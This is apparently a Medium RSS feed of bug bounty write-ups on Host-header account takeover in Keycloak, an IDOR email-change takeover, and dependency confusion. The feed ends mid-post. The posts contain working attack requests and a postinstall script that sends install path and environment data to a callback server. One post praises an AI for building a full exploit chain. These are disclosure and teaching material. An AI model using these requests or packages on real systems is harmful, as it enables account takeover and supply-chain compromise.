<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Hun33er on Medium]]></title>
        <description><![CDATA[Stories by Hun33er on Medium]]></description>
        <link>https://medium.com/@hun33er?source=rss-b76447fe1272------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*b4OX-piV9zl_Yz5BaVCtcQ.jpeg</url>
            <title>Stories by Hun33er on Medium</title>
            <link>https://medium.com/@hun33er?source=rss-b76447fe1272------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 17 Nov 2026 00:39:52 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@hun33er/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How I bypass a fixed Host Header Injection leading to Account Takeover]]></title>
            <link>https://hun33er.medium.com/how-ai-helped-me-bypass-a-fixed-host-header-injection-leading-to-account-takeover-61107d8c2d21?source=rss-b76447fe1272------2</link>
            <guid isPermaLink="false">https://medium.com/p/61107d8c2d21</guid>
            <dc:creator><![CDATA[Hun33er]]></dc:creator>
            <pubDate>Fri, 25 Sep 2026 08:33:03 GMT</pubDate>
            <atom:updated>2026-09-26T10:56:20.749Z</atom:updated>
            <content:encoded><![CDATA[<h3>How I bypass a fixed Host Header Injection leading to Account Takeover.</h3><p><strong>1-Click Account Takeover on a Crypto Exchange And How My AI Helped Me Automate the Whole Thing</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U4T11aHr8b4FOr9RD308Zw.png" /></figure><p>Hey Hackers, my name is Hun33er, and today I’m writing about one bug that started with something that alot of hackers/researchers sometimes overlook a redirect going to the wrong place and ended with full account takeover on a live crypto exchange, complete with an automation script that my AI helped me build.</p><p>This one sweet me different. Make I explain why.</p><p><strong>— -</strong></p><p><strong>Background: I Always Carry My Headers Everywhere</strong></p><p>One habit I have build for myself when hunting: I use Burp Suite <strong>Match and Replace rules</strong> to inject certain headers into <strong>every single request I make</strong> automatically, without me having to think about am. One of those headers na `X-Forwarded-Host`, set to my Burp Collaborator domain.</p><p>The idea is simple. If any page or redirect trust that header, I would notice the anomaly in my traffic without even actively testing for it. It work like a passive trap that I set and forget while browsing normally.</p><p>So I was on this crypto exchange target, just clicking around, mapping the application. Then I clicked the “Forgot Password” link.</p><p>And I got redirected to my Collaborator domain.</p><p>I pause. I look the URL again.</p><p><strong>My Collaborator domain.</strong> Not the real target. My domain.</p><p>I don find something (In Nigeria guys tone) meaning “i have found something”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/0*YZGGE5cyhO_PN6vB" /><figcaption>Photo by <a href="https://unsplash.com/@silverkblack?utm_source=medium&amp;utm_medium=referral">Vitaly Gariev</a> on <a href="https://unsplash.com/?utm_source=medium&amp;utm_medium=referral">Unsplash</a></figcaption></figure><p><strong>— -</strong></p><p><strong>The Target</strong></p><p>The exchange runs on <strong>Keycloak </strong>for identity login, registration, social login, password reset, everything. Keycloak is the popular open-source identity provider, and normally it’s solid. But the way it was configured here, it trusts the `X-Forwarded-Host` header when building <strong>every URL it generates</strong>: form actions, redirect URLs, and this is the critical part the link it puts inside the password reset email.</p><p>I had already reported host header injection on this same program before, using `X-Forwarded-For`. Found a bypass too, using `Forwarded: for=evil;by;host`. So this time, I know say the team don patch some of the obvious vectors (the team had patched it). But `X-Forwarded-Host` is a different header entirely, and from what I just saw with that redirect, e dey wide open (it’s widely open).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/480/1*Z_XBtMxOBpaK1Ww3TRQQiw.gif" /></figure><p><strong>— -</strong></p><p><strong>The Aha Moment → The AI Conversation</strong></p><p>When I saw that redirect, I opened my AI and tell it exactly what I noticed:</p><p><em>”When I include X-Forwarded-Host in my Burp match-and-replace, I notice that clicking the password reset link redirects me to my attacker domain instead of the real site. The formAction in the page source is also pointing to my domain. What can we do with this for a password reset flow?”</em></p><p>My AI understood immediately. It walked me through the full exploitation chain how the formAction being attacker-controlled means the reset email link will also carry my domain, how the JWT inside that link will have `iss` and `aud` claims minted for my domain, and how I could replay that token against the real server using the same header to pass verification.</p><p>Then I said: write a script to automate the whole thing.</p><p>And that was how `ato.py` was born.</p><p><strong>— -</strong></p><p><strong>How the Script Works (Step by Step)</strong></p><p>The script has two phases because there’s one manual step in the middle: waiting for the victim to click the email. So I split am into `trigger` and `continue`.</p><p><strong>Phase 1 `trigger`</strong></p><p>```</p><p>python3 ato.py trigger — host &lt;your-collaborator&gt; — email victim@target.com</p><p>```</p><p><strong>Step 1:</strong> The script GETs the reset-credentials page with `X-Forwarded-Host` set to your attacker domain:</p><p>```</p><p>GET /realms/target_client/login-actions/reset-credentials?client_id=passport HTTP/2</p><p>Host: target.org</p><p>X-Forwarded-Host: u50yv91u…oastify.com</p><p>```</p><p>It then pulls the `formAction` value from the page source. If poisoning worked, that formAction go be pointing to your attacker domain not `target.org`. The script validates this and exits with an error if it’s not poisoned (so you know something is blocking the header).</p><p><strong>Step 2: </strong>Here is the clever part. The script has a `rewrite()` function that takes that attacker-hosted URL and flips the host back to `target.org`, keeping the full path and query string intact. Then it POSTs to that rewritten URL still carrying `X-Forwarded-Host` in the headers submitting the victim’s email:</p><p>```</p><p>POST /realms/target_client/login-actions/reset-credentials?session_code=&lt;SC&gt;&amp;execution=…</p><p>Host: target.org</p><p>X-Forwarded-Host: u50yv91u…oastify.com</p><p>username=victim@target.com&amp;credentialId=</p><p>```</p><p>Response: `200 OK` <em>*”You should receive an email shortly.”*</em></p><p>The script saves the attacker host, victim email, and session cookies to `.ato_state.json` this file bridges the gap to Phase 2.</p><p><strong>— -</strong></p><p><strong>Phase 2 `continue`</strong> (after you collect the reset link from the victim inbox)</p><p>```</p><p>python3 ato.py continue — link “&lt;reset-link-from-email&gt;” — password “MyNewPassword!”</p><p>```</p><p><strong>Step 3 Token Replay:</strong></p><p>The reset link in the email points to your attacker domain. You paste it into the script. It takes the path and query from that link, hits the real `target.org` with am but carries `X-Forwarded-Host` matching the token issuer:</p><p>```</p><p>GET /realms/target_client/login-actions/action-token?key=&lt;JWT&gt;&amp;execution=…</p><p>Host: target.org</p><p>X-Forwarded-Host: u50yv91u…oastify.com</p><p>```</p><p>Without the header: `400 Reset Credential not allowed` Keycloak rejects because the realm URL no match the token’s `iss`.</p><p>With the header: `302 Found` → redirected to the password update page. Token accepted.</p><p><strong>Step 4 Load and Submit the Password Change Form:</strong></p><p>This one na where the script does something most manual reproductions miss. Keycloak rotates the `session_code` on every form render. If your `session_code` is stale when you POST, Keycloak just re-renders the form with a fresh code it doesn’t error out, it just ignores your submission. The script handles this automatically: it reads the fresh `session_code` from each response and retries the POST up to 3 times. So no manual code-hunting required.</p><p>```</p><p>POST /realms/target_client/login-actions/required-action?session_code=&lt;FRESH_SC&gt;&amp;execution=UPDATE_PASSWORD</p><p>Host: target.org</p><p>X-Forwarded-Host: u50yv91u…oastify.com</p><p>password-new=MyNewPassword!&amp;password-confirm=MyNewPassword!&amp;credentialId=</p><p>```</p><p>Response: <em>*”Your account has been updated.”*</em></p><p><strong>Step 5 Login + Token Verification:</strong></p><p>```</p><p>POST /realms/target_client/protocol/openid-connect/token</p><p>grant_type=password&amp;client_id=passport&amp;username=victim@target.com&amp;password=MyNewPassword!</p><p>```</p><p>`200 OK`. The script decodes the JWT locally and prints:</p><p>```</p><p>[+] ACCESS TOKEN for victim account</p><p>sub: 0627b485-df16–4d93-a61e-b582aa5276b</p><p>email: victim@target.com</p><p>email_verified: true</p><p>password now: MyNewPassword!</p><p>[+] Token saved to victim_token.txt — full ATO complete</p><p>```</p><p>Full victim profile, KYC fields, balances everything that is behind the authenticated API is now accessible.</p><p><strong>— -</strong></p><p><strong>Why This Is Scary</strong></p><p>- The victim clicks a link themselves Nothing looks suspicious. No fake site, no phishing page the email comes from the legit exchange.</p><p>- <strong>Zero interaction beyond that one click.</strong> No rate limiting on the header, no extra privileges, no 2FA to bypass.</p><p>- <strong>5 minutes is more than enough.</strong> The reset token has a 5-minute window. The automation handles everything in seconds once you have the link.</p><p>- <strong>On a crypto exchange.</strong> This means withdrawals, internal transfers, trading, KYC data. All of am.</p><p><strong>— -</strong></p><p><strong>The Fix</strong></p><p>Three things I recommended:</p><p>1. <strong>Set Keycloak’s hostname provider to `strict` mode</strong> so URLs are built from the configured `frontendUrl`, not from proxy headers.</p><p>2. <strong>Allowlist `X-Forwarded-Host` at the CDN edge</strong> only `target.org` and its subdomains should ever pass through.</p><p>3. <strong>Bind token issuer verification to the configured realm URL</strong> so even if proxy trust regresses, the token check still holds as defense in depth.</p><p><strong>— -</strong></p><p><strong>Tip for Hunters:</strong> Set `X-Forwarded-Host` as a match-and-replace rule in Burp and leave it running on all traffic.</p><p><em>*Shoutout to my AI for turning a one-line observation into a full working exploit chain. That na the future of bug bounty human eye catches the anomaly, AI builds the weapon.*</em></p><p><strong>— -</strong></p><p><strong>Disclaimer:</strong> Vulnerability has been patched. All victim/attacker identifiers shown are test values created for this assessment or have been redacted. No real user data was accessed beyond what was necessary to prove impact.</p><p>I hope you enjoyed reading and learnt something today.</p><p>You can connect with me on</p><p><a href="https://x.com/olamdeen">X (formally Twitter)</a></p><p><a href="https://linkedin.com/in/olamdeen">LinkedIn</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=61107d8c2d21" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Critical API Authorization Flaw: 5,000 Euro Bounty; How a Missing Check Led to Complete Account…]]></title>
            <link>https://hun33er.medium.com/critical-api-authorization-flaw-5-000-euro-bounty-how-a-missing-check-led-to-complete-account-bcce94b29304?source=rss-b76447fe1272------2</link>
            <guid isPermaLink="false">https://medium.com/p/bcce94b29304</guid>
            <dc:creator><![CDATA[Hun33er]]></dc:creator>
            <pubDate>Mon, 02 Feb 2026 22:25:08 GMT</pubDate>
            <atom:updated>2026-02-02T22:25:08.495Z</atom:updated>
            <content:encoded><![CDATA[<h3>Critical API Authorization Flaw: 5,000 Euro Bounty; How a Missing Check Led to Complete Account Takeover</h3><p><em>A deep dive into a broken authorization vulnerability that allowed attackers to hijack any user account with a single API request</em></p><h3>The Discovery</h3><p>While conducting security testing on a popular enterprise platform, I uncovered a critical vulnerability that perfectly demonstrates why <strong>authentication is not authorization</strong>. This flaw allowed any authenticated user to take over any other user’s account including administrator accounts without any user interaction required.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*WTKmInqyawMWTGZgXbQm-w.jpeg" /></figure><h3>Understanding the Vulnerability</h3><h3>The Architecture</h3><p>The target application consisted of:</p><ul><li>A modern web frontend serving users</li><li>A RESTful API backend handling business logic</li><li>Standard Bearer token authentication</li></ul><p>On the surface, everything looked secure. Users logged in, received JWT tokens, and all API requests were properly authenticated. But there was a fatal flaw lurking beneath this seemingly solid security foundation.</p><h3>The Critical Mistake</h3><p>The API implemented <strong>authentication</strong> correctly but completely failed at <strong>authorization</strong>. Let me explain the difference:</p><ul><li><strong>Authentication</strong> = Verifying <em>who</em> you are (“Are you logged in?”)</li><li><strong>Authorization</strong> = Verifying <em>what you can do</em> (“Are you allowed to do this?”)</li></ul><p>The vulnerable endpoint accepted requests like this:</p><pre>POST /users/{userId}/emails/ HTTP/2<br>Host: api.example-platform.com<br>Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...<br>Content-Type: application/json</pre><pre>{<br>   &quot;email&quot;: &quot;newemail@attacker.com&quot;,<br>   &quot;passwordEncoded&quot;: &quot;QXR0YWNrZXIxMjMh&quot;<br>}</pre><p>The API would:</p><ol><li>✅ Check if the Bearer token is valid</li><li>✅ Verify the token hasn’t expired</li><li>❌ <strong>Never check if the token owner matches the {userId} in the URL</strong></li></ol><p>This is a textbook case of <strong>Insecure Direct Object Reference (IDOR)</strong> combined with <strong>Broken Function Level Authorization</strong>.</p><h3>The Exploit: A Step-by-Step Account Takeover</h3><p>Let me walk you through exactly how an attacker could weaponize this vulnerability.</p><h3>Setup</h3><p>For this demonstration, we have:</p><ul><li><strong>Victim</strong>: User ID victim_2891, Email: victim@company.com</li><li><strong>Attacker</strong>: User ID attacker_7453, Email: attacker@malicious.com</li><li><strong>Attacker: </strong>Other email: attacker2@malicious.com</li></ul><h3>Attack Flow</h3><p><strong>Step 1</strong>: The attacker logs into their legitimate account and captures their authentication token.</p><p><strong>Step 2</strong>: The attacker intercepts or crafts a request to change email addresses:</p><pre>POST /users/attacker_7453/emails/ HTTP/2<br>Host: api.example-platform.com<br>Authorization: Bearer [Attacker&#39;s Valid Token]<br>Content-Type: application/json</pre><pre>{<br>   &quot;email&quot;: &quot;attacker.backup@malicious.com&quot;,<br>   &quot;passwordEncoded&quot;: &quot;QXR0YWNrZXJQYXNzMTIzIQ==&quot;<br>}</pre><p>This works fine — the attacker is changing their own email.</p><p><strong>Step 3</strong>: The attacker modifies the request, changing only the user ID in the URL to the victim’s ID:</p><pre>POST /users/victim_2891/emails/ HTTP/2<br>Host: api.example-platform.com<br>Authorization: Bearer [Attacker&#39;s Valid Token] Still attacker&#39;s token!<br>Content-Type: application/json</pre><pre>{<br>   &quot;email&quot;: &quot;attacker2@malicious.com&quot;,  Attacker&#39;s email!<br>   &quot;passwordEncoded&quot;: &quot;QXR0YWNrZXJQYXNzMTIzIQ==&quot;<br>}</pre><p><strong>Step 4</strong>: The API accepts the request because:</p><ul><li>✅ The token is valid (attacker is authenticated)</li><li>❌ No check verifies the attacker owns user ID victim_2891</li></ul><p><strong>Step 5</strong>: The victim’s account now has the attacker’s email address associated with it.</p><p><strong>Step 6</strong>: The attacker triggers a password reset, receives the link at their email, and gains complete control of the victim’s account.</p><h3>The Scary Part: Zero User Interaction</h3><p>This is what security researchers call a <strong>“0-click” attack</strong>. The victim doesn’t need to:</p><ul><li>Click any malicious links</li><li>Download any files</li><li>Enter credentials anywhere</li><li>Do anything at all</li></ul><p>The attacker simply sends API requests, and the victim’s account is compromised.</p><h3>Real-World Impact</h3><h3>For Individual Users</h3><ul><li>Complete account compromise</li><li>Access to private messages and sensitive data</li><li>Identity theft and impersonation</li><li>Financial fraud if payment methods are stored</li></ul><h3>For Organizations</h3><ul><li><strong>Data Breach</strong>: Attackers could systematically compromise all user accounts</li><li><strong>Privilege Escalation</strong>: Regular users could hijack administrator accounts</li><li><strong>Compliance Violations</strong>: GDPR, CCPA, and other regulations require proper access controls</li><li><strong>Reputational Damage</strong>: News of mass account takeovers destroys user trust</li><li><strong>Financial Losses</strong>: Fraudulent transactions, legal fees, regulatory fines</li></ul><h3>Attack Scenarios</h3><p><strong>Scenario 1: Corporate Espionage</strong><br> An attacker with a basic user account takes over executive accounts to steal confidential business intelligence, merger plans, or trade secrets.</p><p><strong>Scenario 2: Mass Account Harvesting</strong><br> A script iterates through user IDs, adding attacker-controlled emails to thousands of accounts for later exploitation or sale on dark web markets.</p><p><strong>Scenario 3: Ransomware-Style Attack</strong><br> Attackers take over accounts en masse and demand payment for returning access, holding user data hostage.</p><h3>Detailed Proof of Concept</h3><p>Let me provide a more detailed walkthrough with actual HTTP requests.</p><h3>Initial Setup</h3><p><strong>Attacker’s Account Creation:</strong></p><pre>User ID: attacker_7453<br>Email: attacker@malicious.com<br>Password: AttackerPass123!</pre><p><strong>Victim’s Account (Target):</strong></p><pre>User ID: victim_2891<br>Email: victim@company.com<br>Password: [Unknown to attacker]</pre><h3>Step-by-Step Exploitation</h3><p><strong>1. Attacker Authentication</strong></p><pre>POST /auth/login HTTP/2<br>Host: api.example-platform.com<br>Content-Type: application/json</pre><pre>{<br>   &quot;email&quot;: &quot;attacker@malicious.com&quot;,<br>   &quot;password&quot;: &quot;AttackerPass123!&quot;<br>}</pre><p><strong>Response:</strong></p><pre>{<br>   &quot;token&quot;: &quot;eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9....&quot;,<br>   &quot;userId&quot;: &quot;attacker_7453&quot;<br>}</pre><p><strong>2. Testing Legitimate Functionality</strong></p><p>First, the attacker verifies how the email change functionality works on their own account:</p><pre>POST /users/attacker_7453/emails/ HTTP/2<br>Host: api.example-platform.com<br>Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...<br>Content-Type: application/json</pre><pre>{<br>   &quot;email&quot;: &quot;attacker.test@malicious.com&quot;,<br>   &quot;passwordEncoded&quot;: &quot;QXR0YWNrZXJQYXNzMTIzIQ==&quot;<br>}</pre><p><strong>Response:</strong></p><pre>{<br>   &quot;status&quot;: &quot;success&quot;,<br>   &quot;message&quot;: &quot;Email updated successfully&quot;<br>}</pre><p>The attacker confirms the functionality works as expected.</p><p><strong>3. The Exploitation</strong></p><p>Now the attacker simply changes the user ID in the URL path from their own ID to the victim’s ID:</p><pre>POST /users/victim_2891/emails/ HTTP/2<br>Host: api.example-platform.com<br>Authorization: Bearer eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9...<br>Content-Type: application/json</pre><pre>{<br>   &quot;email&quot;: &quot;attacker@malicious.com&quot;,<br>   &quot;passwordEncoded&quot;: &quot;QXR0YWNrZXJQYXNzMTIzIQ==&quot;<br>}</pre><p><strong>Critical Point</strong>: Notice that:</p><ul><li>The Authorization header still contains the <strong>attacker’s token</strong></li><li>The URL path contains the <strong>victim’s user ID</strong></li><li>The email being added is the <strong>attacker’s email</strong></li><li>The password is the <strong>attacker’s password</strong> (not the victim’s)</li></ul><p><strong>Response:</strong></p><pre>{<br>   &quot;status&quot;: &quot;success&quot;,<br>   &quot;message&quot;: &quot;Email updated successfully&quot;<br>}</pre><p><strong>4. Account Takeover Completion</strong></p><p>The victim’s account now has attacker@malicious.com as a registered email. The attacker proceeds:</p><pre>POST /auth/password-reset HTTP/2<br>Host: api.example-platform.com<br>Content-Type: application/json</pre><pre>{<br>   &quot;email&quot;: &quot;attacker@malicious.com&quot;<br>}</pre><p>The system sends a password reset link to attacker@malicious.com. The attacker:</p><ul><li>Receives the reset email</li><li>Clicks the reset link</li><li>Sets a new password</li><li>Gains complete control of the victim’s account</li></ul><h3>The Root Cause: Why This Happens</h3><p>This vulnerability class is surprisingly common. Here’s why:</p><h3>1. Misunderstanding Authentication vs Authorization</h3><p>Many developers assume that because a user is authenticated, they’re automatically authorized for whatever action they’re attempting. This is fundamentally incorrect.</p><h3>2. Trusting Client Input</h3><p>The API trusted the {userId} parameter from the URL without server-side validation. <strong>Never trust client-supplied data for authorization decisions.</strong></p><h3>3. Insufficient Security Testing</h3><p>Standard functional testing wouldn’t catch this — it requires security-focused testing where you intentionally try to access resources you shouldn’t.</p><h3>4. Framework Misuse</h3><p>Many modern frameworks provide authorization middleware, but developers must explicitly implement the business logic checks. The framework can’t automatically know which users should access which resources.</p><h3>Responsible Disclosure</h3><p>This vulnerability was responsibly disclosed to the affected organization following industry best practices:</p><ol><li>Initial report submitted through official security channel</li><li>Detailed technical write-up provided with PoC</li><li>90-day disclosure timeline established</li><li>Patch verification performed</li><li>Public disclosure only after fix deployment</li></ol><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-gQkH_4sngAghKLeQOozgQ.png" /></figure><p>The organization responded professionally, deployed a fix within two weeks, and implemented additional security controls across their API infrastructure.</p><h3>Conclusion</h3><p>This vulnerability serves as a powerful reminder that <strong>security is not just about implementing features — it’s about implementing them correctly</strong>. Authentication without proper authorization is like having a lock on your front door but leaving all the interior doors wide open.</p><p>The attack flow is devastatingly simple:</p><ol><li>Attacker authenticates with their own credentials ✓</li><li>Attacker changes victim’s email to their own ✓</li><li>Attacker resets victim’s password ✓</li><li>Complete account takeover ✓</li></ol><p>All of this happens without the victim ever knowing they’re under attack.</p><p>For organizations: Invest in security training for developers, implement thorough code review processes, and conduct regular security audits focused on authorization controls.</p><p>For developers: Never trust client input for authorization decisions, always validate that the authenticated user has permission for the requested action, and test your code with a security mindset — think like an attacker trying to access the victim’s data.</p><p>The most dangerous vulnerabilities are often the simplest ones — missing checks, forgotten validations, and faulty assumptions about security. Stay vigilant, think like an attacker, and always remember: <strong>authentication ≠ authorization</strong>.</p><p><em>Have you encountered similar authorization vulnerabilities in your work? Share your experiences in the comments below. Remember: responsible disclosure helps make the internet safer for everyone.</em></p><p><strong>Disclaimer</strong>: All technical details have been anonymized and generalized. No actual credentials, tokens, or identifying information are included. This article is for educational purposes only.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bcce94b29304" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Uncovering Dependency Confusion Vulnerabilities: A Friendly Guide to Detection and Testing]]></title>
            <link>https://hun33er.medium.com/uncovering-dependency-confusion-vulnerabilities-a-friendly-guide-to-detection-and-testing-aecbe3506cff?source=rss-b76447fe1272------2</link>
            <guid isPermaLink="false">https://medium.com/p/aecbe3506cff</guid>
            <dc:creator><![CDATA[Hun33er]]></dc:creator>
            <pubDate>Tue, 29 Jul 2025 12:00:59 GMT</pubDate>
            <atom:updated>2025-07-29T12:02:31.600Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey brothers, security enthusiasts! Today, I’m diving into a sneaky software supply chain issue called dependency confusion, a vulnerability that can lead to serious consequences like Remote Code Execution (RCE). I recently stumbled upon a real-world case that highlights just how critical this bug can be, and I’m excited to share how you can hunt for it yourself, both manually and with automation, while throwing in some tips on using Burp Suite to make your testing smoother. Let’s keep it friendly, practical, and focused on helping you secure your systems or score that next bug bounty!</p><p><strong>What Is Dependency Confusion?</strong></p><p>Imagine you’re building a cool web app, and your code relies on a private package called @company/secret-sauce. This package lives in your internal registry, like registry.company.com. Everything’s fine until someone realizes the same package name @company/secret-sauce is not registered on a public registry like npmjs.com. An attacker could publish a malicious version of @company/secret-sauce to npmjs.com, and if your build system or a developer’s setup accidentally pulls from the public registry instead of your private one, boom! The malicious package runs, potentially executing harmful code. This is dependency confusion, a supply chain attack where a malicious package with the same name as a private one gets installed due to misconfigured package managers or registries. In my recent case, I found a private package exposed in public JavaScript files, and a new pingback showed the malicious package executing on a Linux system with root privileges. Let’s break down how to find and test for this vulnerability.</p><p><strong>The Real-World Case:</strong></p><p>I’m poking around a company’s web app (let’s call it example.com) and notice their JavaScript bundles reference a private package, say <a href="http://twitter.com/company/secret-sauce">@company/secret-sauce</a>. Curious, I check npmjs.com</p><pre>npm view @company/secret-sauce</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*rBZ1t7AQ2HCRKCZbkXvf6A.png" /></figure><p>or view in broswer “npmjs.com”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8HmyNtpBMnWaWV2QUsAhCg.png" /></figure><p>The result? 404 Not Found. The package isn’t claimed on the public registry, which is a red flag. I publish a test package under <a href="http://twitter.com/company/secret-sauce">@company/secret-sauce</a>@1.0.1 with a simple postinstall script to ping my server:json</p><p>Note: “@company” means the company or organization name while secret-sauce means the package name, and 1.0.1 means the version</p><p>{<br> “name”: “<a href="http://twitter.com/company/secret-sauce">@company/secret-sauce</a>”,<br> “version”: “1.0.1”,<br> “scripts”: {<br> “postinstall”: “node ping.js”<br> },<br> “files”: [“ping.js”]<br>}</p><p><strong>Why Dependency Confusion Matters</strong></p><p><strong>This vulnerability is a big deal because:</strong></p><ul><li><strong>RCE Potential:</strong> Malicious packages can run arbitrary code, stealing data or backdooring builds.</li><li><strong>Supply Chain Impact:</strong> It affects CI/CD pipelines, developer workstations, or even production systems.</li><li><strong>Web3 Risks</strong>: If the company handles blockchain wallets (e.g., via wallet.sandbox.companycdn.com), an attacker could steal crypto or manipulate smart contracts.</li><li><strong>Public Exposure:</strong> Leaked package names in JavaScript bundles make it easy for attackers to target unclaimed names.</li></ul><p><strong>How to Find Dependency Confusion Vulnerabilities</strong></p><p>Let’s walk through how to hunt for this bug, both manually and with automation, keeping it beginner-friendly.</p><p><strong><em>Manual Detection</em></strong></p><ol><li>Identify Private Package Names:</li></ol><ul><li>Browse the target’s web app (e.g., example.com) and download JavaScript bundles.</li><li>Search for package names using developer tools or grep:</li></ul><pre>grep -r &quot;@company/&quot; ./downloaded-js-files</pre><p>Look for patterns like @company/secret-sauce in imports or metadata.</p><ol><li><strong>Check Public Registries:</strong></li></ol><ul><li>Verify if the package is unclaimed on npmjs.com:</li></ul><pre>npm view @company/secret-sauce</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/944/1*rBZ1t7AQ2HCRKCZbkXvf6A.png" /><figcaption>Response from the npm</figcaption></figure><p>A 404 Not Found means it’s vulnerable to hijacking.</p><p><strong>NOTE</strong>: it’s of two scenarios</p><ol><li>with Organization name such as @companyname/packagename “which is of my own case”</li><li>without Organization name such as /packagename</li></ol><h3><strong>Steps to Test for Dependency Confusion</strong></h3><ol><li><strong>Testing Dependency Confusion for Unscoped Packages (Without Organization Name)</strong></li></ol><p>Unscoped packages are those without a namespace (<strong>internal-package</strong> instead of <strong>@org/internal-package</strong>). These are more vulnerable because public registries like npm allow anyone to publish a package with the same name if it’s not already taken.</p><p><strong>Steps:</strong></p><p><strong>Identify Unscoped Internal Packages:</strong></p><ul><li>Review your project’s dependency configuration files (e.g., package.json for npm, requirements.txt for PyPI) to list all unscoped private packages.</li><li>Example: An internal package named company-utils.</li></ul><p><strong>Check Public Registry for Name Availability:</strong></p><ul><li>Search the public registry (e.g., npm search company-utils or check npmjs.com/package/company-utils) to see if the package name is already taken.</li><li>If the name is not taken, it’s vulnerable to dependency confusion, as an attacker could publish a package with the same name.</li></ul><p><strong>Publish a Dummy Package:</strong></p><ul><li>In a controlled environment, publish a dummy package with the same name (company-utils) to the mock public registry.</li><li>or create a folder/directory with the package name (company-utils)</li><li>The dummy package can contain a simple script to log or report when it’s installed (e.g., a postinstall script in package.json for npm: “postinstall”: “echo ‘Dependency confusion test’”).</li><li>in the directory or folder run</li></ul><pre>npm init</pre><ul><li>this would create a package.json name or you can just create a file name package.json and ping.js</li></ul><pre>{<br>  &quot;name&quot;: &quot;@company/secret-sauce&quot;,<br>  &quot;version&quot;: &quot;1.0.1&quot;,<br>  &quot;scripts&quot;: {<br>    &quot;postinstall&quot;: &quot;node ping.js&quot;<br>  },<br>  &quot;files&quot;: [&quot;ping.js&quot;]<br>}</pre><pre>// ping.js<br>const http = require(&#39;http&#39;);<br>const cwd = process.cwd();<br>const env = JSON.stringify({ NODE_ENV: process.env.NODE_ENV, CI: process.env.CI });<br>http.get(`http://my-callback-server.com/verify?path=${encodeURIComponent(cwd)}&amp;env=${encodeURIComponent(env)}`);</pre><p><strong>NOTE: you can increase the version to “9.0.0&quot;. or just let it be a higher version</strong></p><p><strong>Test with a Proof-of-Concept (PoC):</strong></p><p>after you create the organization name and you own the @company scope (ethically, of course), publish a test package:</p><pre>npm publish --access public</pre><p>After some times i start getting a ping back which shows it works</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4yODQOTtfkpFpO4jW_Z_vA.png" /></figure><p>Also there is a Burp extension that would make it more easy name JsMiner</p><p>Checkout my <a href="https://github.com/Hun33er/NPM-RCE">github </a>for more payloads for the dependency</p><p>I hope you enjoy this and let get the internet secure..</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=aecbe3506cff" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[HOW I FOUND MY FIRST BUG]]></title>
            <link>https://hun33er.medium.com/how-i-found-my-first-bug-b0dd1059d093?source=rss-b76447fe1272------2</link>
            <guid isPermaLink="false">https://medium.com/p/b0dd1059d093</guid>
            <dc:creator><![CDATA[Hun33er]]></dc:creator>
            <pubDate>Sun, 01 Dec 2024 21:57:27 GMT</pubDate>
            <atom:updated>2024-12-02T10:44:38.806Z</atom:updated>
            <content:encoded><![CDATA[<p>Hey Hackers, My name is Hun33er And today I’ll talk about the first bug i found on a Bug Bounty Program (BBP) which is a self hosting program ( Let’s call it target.com ).</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/640/0*G3uY7eZK4zbEjj-9.gif" /></figure><h3>Overview</h3><p>The website is a web hosting platform where developer can host thier website or program.</p><p>The Vulnerability I have discovered was that Default Credential in a login page.</p><h3>Testing the Application</h3><p>First i’ve test the main app and i couldn’t get anything there so i was like let me try some recon as it’s always said “Recon Wins”</p><p>I had to do some subdomain enumeration using many method but my favorite was “Subfinder”</p><p>I had to use subfinder to get some subdomains</p><p>subfinder -d target.com -config ~/path/to/subfinder/config.yaml -o subfinder.txt</p><p>Explaining the command</p><ul><li>d for the target url</li><li>-config ~/path/to/subfinder/config.yaml for the path to my subfinder configuration file</li><li>-o to output the results</li></ul><p>After that i had to check for live subdomins using httpx tools</p><p>cat subfinder.txt | httpx -sc — title -td -ip -mc 200,201,204,301,302,401,403,500,502 -o httpx.txt</p><p>Explaing the command used</p><ul><li>sc == to display the status code</li><li>-title == to display the title of the page</li><li>-ip == to display the ip address of the subdomain</li><li>-mc == match status code</li><li>-o == output the result</li></ul><p>After that i had to view each other subdomain in my browser one by one after many trited i couldn’t get anything.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/440/0*82Zxe-oZfj9xbIOy.gif" /></figure><p>I nearly give up then i remember some times ago when i was reading some tutorial off the internet which i came across a video explaining how to use shodan by Godfather Orwa</p><figure><img alt="" 